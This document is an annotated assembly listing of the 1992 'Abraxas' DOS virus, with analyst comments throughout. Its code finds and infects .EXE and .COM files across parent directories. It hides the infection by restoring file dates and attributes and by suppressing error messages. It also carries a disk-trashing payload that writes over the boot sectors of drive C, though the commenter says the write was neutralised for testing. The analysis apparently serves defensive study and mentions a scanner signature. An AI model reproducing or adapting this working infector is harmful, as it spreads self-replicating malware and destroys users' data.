
PAGE  59, 132

;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;ÛÛ                                                                     ÛÛ
;ÛÛ                            ABRAXAS3                                 ÛÛ
;ÛÛ                                                                     ÛÛ
;ÛÛ      Created:   7-Aug-92                                            ÛÛ
;ÛÛ      Passes:    9          Analysis Options on: M                   ÛÛ
;ÛÛ                                                                     ÛÛ
;ÛÛ                                                                     ÛÛ
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ

PSP_DTA_OFFSET  equ 80h     ; This is the offset of the DTA in the PSP when
                            ; all DOS programs start.  It is defined here so
                            ; that when we are done infecting new files, we
                            ; set the DTA address back to PSP:80h.

; Note that the DTA is a 43 (2Bh) byte area that DOS uses to stores
; information on recently accessed files.  In this case it runs inclusively
; from [BP +] 36Ah to 394h.

VIRUS_DTA       equ 36Ah
FILE_ATTR       equ VIRUS_DTA + 15h
FILE_TIME       equ VIRUS_DTA + 16h
FILE_DATE       equ FILE_TIME + 2
FILE_SIZE       equ VIRUS_DTA + 1Ah
FILE_NAME       equ VIRUS_DTA + 1Eh
VIRUS_START     equ 103h
START_DIR       equ 329h
OLD_INT24_SEG   equ 327h
OLD_INT24_OFF   equ 325h
FILE_BUFF       equ 396h
EXE_SPEC        equ 316h
COM_SPEC        equ 31Ch
PARENT_DIR      equ 322h



seg_a       segment byte public
        assume  cs:seg_a, ds:seg_a


        org 100h

abraxas     proc    far

start:
        jmp loc_0103

loc_0103:
        call    sub_0106

abraxas endp

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;                  SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_0106 proc   near
    pop     bp              ; Places return address of caller in BP
    sub     bp, 106h
    cmp     sp, 4441h
    je      loc_011C        ; Jump if equal
    lea     si, [bp+1C3h]   ; Load effective addr
    mov     di, 100h
    push    di
    movsb
    jmp short loc_012D

loc_011C:
    push    ds
    push    es
    push    cs
    pop     ds
    push    cs
    pop     es
    lea     si, [bp+1C2h]
    lea     di, [bp+1BAh]
    movsw
    movsw
    movsw

loc_012D:
    movsw
    mov     byte ptr [bp+395h], 1
    lea     dx, [bp + VIRUS_DTA]

    mov     ah, 1Ah         ; DOS Services  ah=function 1Ah
    int     21h             ; set DTA to DS:DX

    mov     dl, 0                   ; DL = drive, 0 = Default, 1 = A, etc.
    lea     si, [bp+START_DIR+1]    ; SI gets ASCIIZ string with current dir.

    mov     ah, 47h         ; DOS Services  ah=function 47h
    int     21h             ; get present dir, drive to DS:SI


    mov     byte ptr [bp+START_DIR], '\'    ; Prepend '\' to directory name

    mov     ax, 3524h       ; DOS Services  ah=function 35h
    int     21h             ; get interrupt vector 24 in ES:BX
                            ; (Critical Error Handler)

    mov     [bp+OLD_INT24_OFF], bx      ; Save old Interrupt 24 Vector.
    mov     [bp+OLD_INT24_SEG], es

    lea     dx, [bp+NewInt24Handler]    ; Address of new Int 24
    mov     ah, 25h                     ; DOS Services  ah=function 25h
    int     21h                         ; set interrupt vector 24 to DS:DX
                                        ; (Critical Error Handler)

    push    cs                          ; Restore ES to Program Segment
    pop     es

loc_0161:
    lea     dx, [bp+EXE_SPEC]   ; DX gets address of string '*.exe', 0
    call    FindAndInfect
    lea     dx, [bp+COM_SPEC]   ; DX gets address of string '*.com', 0
    call    FindAndInfect

    lea     dx, [bp+PARENT_DIR] ; DX gets address of string '..', 0
    mov     ah, 3Bh             ; DOS Services  AH = function 3Bh
    int     21h                 ; Set current dir, path to DS:DX

    jnc     loc_0161            ; Jump if carry = 0

loc_0179:
    jmp     short TRASH_DISK
    nop

loc_017C:
    lds     dx, dword ptr [bp+OLD_INT24_OFF]

    mov     ax, 2524h       ; DOS Services  ah=function 25h
    int     21h             ; set interrupt vector 24 to DS:DX

    push    cs
    pop     ds
    lea     dx, [bp+START_DIR]

    mov     ah, 3Bh         ; DOS Services  ah=function 3Bh
    int     21h             ; set current dir, path to DS:DX

    mov     dx, PSP_DTA_OFFSET
    cmp     sp, 443Dh
    je      loc_019D        ; Jump if equal

    mov     ah, 1Ah         ; DOS Services  ah=function 1Ah
    int     21h             ; set DTA to DS:DX

    retn

loc_019D:
    pop     es
    pop     ds
    int     21h             ; DOS Services  ah=function 1Ah
                            ; set DTA to DS:DX

    mov     ax, es
    add     ax, 10h
    add     cs:[1BCh][bp], ax
    add     ax, cs:[1C0h][bp]
    cli                     ; Disable interrupts
    mov     sp, word ptr cs:[1BEh][bp]  ; (=0)
    mov     ss, ax
    sti                     ; Enable interrupts
;*  jmp     far ptr l_0000_0000 ;*
    db      0EAh, 00h, 00h, 00h, 00h
    add [bx+si], al
    add [bx+si], al
    add     ch, cl
    and     [bx+si], al
    add     [bx+si], al
    add     [bx+si], al


; PROBLEM IS HERE - THIS IS WHERE THE HARD DISK GETS TRASHED!!!!

TRASH_DISK:                 ; Note that when we get here DS:BX should point
                            ; to the memory area to write to disk boot sector.
    mov     al, 2           ; AL, NOT AH should get disk number to write.
                            ; 0 = A, 1 = B, 2 = C, etc.
    cwd                     ; DX = Absolute sector number to write.  As long
                            ; as high bit of AX is 0, cwd will make DX = 0.
    mov     cx, 100h        ; Number of sectors to write, note that 100h
                            ; sectors  x  200h bytes per sector = 20000h
                            ; bytes = 131072d bytes, this means write 131072
                            ; bytes starting at sector 0!

    ; Int 26h is Absolute Disk Write, Drive = AL, We will
    ; comment this out with 2 nops to preserve program size
    ; yet prevent wasting disk during testing!
    jmp     short loc_017C

sub_0106    endp

; This is the virus 'signature', it is included in the scan file I have
; supplied called 'abraxas.scn'

    db       '[Z10]', 0
    db       'Abraxas', 0


%NEWPAGE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;       Find and Infect Files
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;
;       INPUT:
;
;
;
;
;
;       OUTPUT :
;
;
;
;
;
;       REGISTERS DESTROYED:
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

FindAndInfect proc  near
    mov     cx, 7           ; CX = File Attributes to include in search.
                            ; 7 = 0111b = Include Read-Only, Hidden, &
                            ; System Files.
    mov     ah, 4Eh

FindFile:
    int     21h             ; DOS Services  AH=function 4Eh or 4Fh
                            ; find first/next filename match
    jc      NoFile          ; Jump if Carry Flag Set (File not Found)

    mov     al, 0
    call    OpenFile
    lea     dx, [bp+FILE_BUFF]  ; DX = address of buffer into which file will
                                ; be read.

    mov     cx, 1Ah         ; Read First  1Ah (26) bytes.
    mov     ah, 3Fh         ; DOS Services  AH = function 3Fh
    int     21h             ; read file, CX = bytes, to DS:DX

    mov     ah, 3Eh         ; DOS Services  AH = function 3Eh
    int     21h             ; close file, BX still = file handle.

    cmp     [bp+FILE_BUFF], 5A4Dh   ; Check if start of file = EXE header
    je      loc_0224                ; Jump if equal to EXE header 5A4Dh
    mov     ax, [bp+FILE_SIZE]      
    cmp     ax, 07D0h
    jb      FindNext        ; Jump if file size < 2000 bytes, nice touch,
                            ; since the last virus I found, I found when we
                            ; noticed that a 12 byte com file used to reboot
                            ; the machine had grown to 1713 bytes!
    cmp     ax, 0FD52h      ; Check if file size if > 64850, since a COM file
    ja      FindNext        ; can't be bigger than 64K, we don't want to add
    mov     bx, [bp+397h]   ; to a COM file if it'll increase past that size
    add     bx, 225h
    cmp     ax, bx
    je      FindNext        ; Jump if equal
    jmp     short loc_029B
    db      90h

loc_0224:
    cmp     [bp+3A6h], 4441h    ; Check to see if file is already infected
    jne     loc_0231            ; Jump if it isn't infected, if it is, Find
                                ; the next file.
FindNext:
    mov     ah, 4Fh         ; AH = 4F, DOS find next file fcn.
    jmp     FindFile

NoFile:
    retn

loc_0231:
    les     ax, [bp+3AAh]
    mov     [bp+1C2h], ax
    mov     [bp+1C4h], es
    les     ax, [bp+3A4h]
    mov     [bp+1C6h], es
    mov     [bp+1C8h], ax
    mov     ax, [bp+39Eh]
    mov     cl, 4
    shl     ax, cl          ; Shift left 4 & fill with zeroes.
    xchg    ax, bx
    les     ax, [bp+FILE_SIZE]  ; Load 32 bit ptr
    mov     dx, es
    push    ax
    push    dx
    sub     ax, bx
    sbb     dx, 0
    mov     cx, 10h
    div     cx              ; ax, dx rem=dx:ax/reg
    mov     [bp+3AAh], dx
    mov     [bp+3ACh], ax
    mov     [bp+3A4h], ax
    mov     [bp+3A6h], 4441h
    pop     dx
    pop     ax
    add     ax, 222h
    adc     dx, 0
    mov     cl, 9
    push    ax
    shr     ax, cl          ; Shift w/zeros fill
    ror     dx, cl          ; Rotate
    stc                     ; Set carry flag
    adc     dx, ax
    pop     ax
    and     ah, 1
    mov     [bp+39Ah], dx
    mov     [bp+398h], ax
    push    cs
    pop     es
    mov     cx, 1Ah
    jmp     short loc_02B1

loc_029B:
    mov     cx, 3
    sub     ax, cx
    lea     si, [bp+FILE_BUFF]
    lea     di, [bp+1C3h]
    movsw
    movsb
    mov     byte ptr [si-3], 0E9h
    mov     [si-2], ax

loc_02B1:
    push    cx
    xor     cx, cx          ; Zero register - We must set the file mode to
                            ; 0 so that we can write it.  We must reset it
    call    SetFileAttr     ; to the original access mode when we are done.
    mov     al, 2
    call    OpenFile

    mov     ah, 40h             ; AH = DOS fcn 40h, Write File.
    lea     dx, [bp+FILE_BUFF]  ; DX gets the address of buffer from which
                                ; the file will be written.
    pop     cx                  ; CX gets the number of bytes to write.
    int     21h                 ; DOS Services, AH=function 40h, Write File

    mov     ax, 4202h       ; AH = DOS fcn 40h, Set File Pointer,
                            ; AL = 02h, set pointer to DX:CX bytes from end.
    xor     cx, cx          ; CX = 0, Set Pointer to very end of file.
    cwd                     ; Word to double word, DX = 0.
    int     21h             ; DOS Services  AH = function 42h, Move File Ptr

    mov     ah, 40h                 ; AH = DOS fcn 40h, Write File
    lea     dx, [bp+VIRUS_START]    ; DX gets the address of buffer from
                                    ; which the file will be written
    mov     cx, 222h                ; CX gets the number of bytes to write
    int     21h                     ; DOS Services, AH = fcn 40h, Write File

    ; Below is where we reset the files' time and date to that stored in the
    ; DTA so no one notices that the files dates have changed!

    mov     ax, 5701h       ; AX = DOS fcn 5701h, Set File Time and Date

    mov     cx, [bp+FILE_TIME]
    mov     dx, [bp+FILE_DATE]

    int     21h             ; DOS Services  AX = 5701h Set Time and Date of
                            ; File whose handle is BX to date DX and time CX.

    mov     ah, 3Eh         ; AH = DOS fcn 3Eh, Close File whose handle is BX.
    int     21h

    mov     ch, 0
    mov     cl, [bp+FILE_ATTR]  ; Here is where we restore the files original
    call    SetFileAttr         ; attributes so no one notices a change!
    dec     byte ptr [bp+395h]
    jnz     loc_02FC            ; Jump if not zero
    pop     ax
    jmp     loc_0179

loc_02FC:
    jmp     FindNext

FindAndInfect endp


%NEWPAGE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;       OpenFile
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;
;       INPUT:
;           AL = File Access Mode
;                   00h read only
;                   01h write only
;                   02h read/write
;
;                   bits 7-3 = file-sharing modes (DOS 3+)
;                   bit 7    = inheritance flag, set for no inheritance
;                   bits 4-6 = sharing mode
;                   000 compatibility mode
;                   001 exclusive (deny all)
;                   010 write access denied (deny write)
;                   011 read access denied (deny read)
;                   100 full access permitted (deny none)
;                   111 used internally by SHARE
;                   bit 3    = reserved, should be zero
;
;       OUTPUT :
;           If successfull, BX will be set to the newly opened file handle.
;           If unsuccessful BX will be set to the MS-DOS error code.

;           DS:DX will point to File Name (as ASCIIZ).
;
;           FLAGS: CF is set if unsuccessful, cleared if successful.
;
;           Note file pointer is set to start of file
;
;       REGISTERS DESTROYED:
;           AX, BX, DX, FLAGS
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

OpenFile proc   near
    mov     ah, 3Dh             ; AH = DOS fcn 3Dh, Open File, (AL = mode)
    lea     dx, [bp+FILE_NAME]  ; DS:DX = ASCIIZ file name to open.
    int     21h

    xchg    ax, bx
    retn

OpenFile endp



%NEWPAGE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;       SetFileAttr
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
;
;       INPUT:
;           CX = File Attribute that file will be set to.
;           DS:[BP+FILE_NAME] Must point to the ASCIIZ name of the file whose
;           Attributes are to be changed.
;
;       OUTPUT :
;           DS:DX will point to File Name (as ASCIIZ) whose attrib. were
;           changed.
;
;           FLAGS: CF is set if unsuccessful, cleared if successful.
;           If unsuccessful AX will be set to the MS-DOS error code.
;
;       REGISTERS DESTROYED:
;           AX, DX, FLAGS
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SetFileAttr proc    near
    mov     ax, 4301h
    lea     dx, [bp+FILE_NAME]  ; Sets DX to point to File Name in the DTA
    int     21h                 ; DOS Services  AX = fcn 4301h, Set Attribute
                                ; of File whose name is at DS:DX to CX
    retn

SetFileAttr endp

; This label becomes the address of the Critical Error Handler during
; file infection.  This simply returns 3, and prevents a message like
; "Write Protect Error Reading Drive A" from appearing if we try to infect
; a write protected diskette, etc.

NewInt24Handler:
    mov     al, 03
    iret

    db  '*.exe', 0
    db  '*.com', 0
    db  '..', 0

seg_a       ends



End Start           ; End of Module "ABRAXAS.ASM"
